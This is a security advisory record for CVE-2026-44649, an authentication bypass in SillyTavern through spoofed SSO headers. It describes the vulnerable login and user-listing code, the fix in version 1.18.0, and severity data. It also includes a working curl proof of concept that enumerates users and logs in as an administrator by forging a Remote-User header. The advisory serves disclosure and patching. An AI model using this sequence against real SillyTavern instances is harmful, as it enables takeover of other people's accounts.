CVE-2026-44649: Sillytavern Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gxx6-h3g6-vwjh",
  "modified" : "2026-06-09T10:32:08Z",
  "published" : "2026-05-12T22:23:30Z",
  "aliases" : [ "CVE-2026-44649" ],
  "summary" : "SillyTavern has Authentication Bypass via SSO Header Injection",
  "details" : "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = 'Remote-User') {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user && user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express's wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use('/api/users', usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post('/list', async (_request, response) => {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d '{}'\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d '{}'\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.18.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.17.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44649"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-290", "CWE-306", "CWE-346", "CWE-807" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-12T22:23:30Z",
    "nvd_published_at" : "2026-05-29T19:16:24Z"
  }
}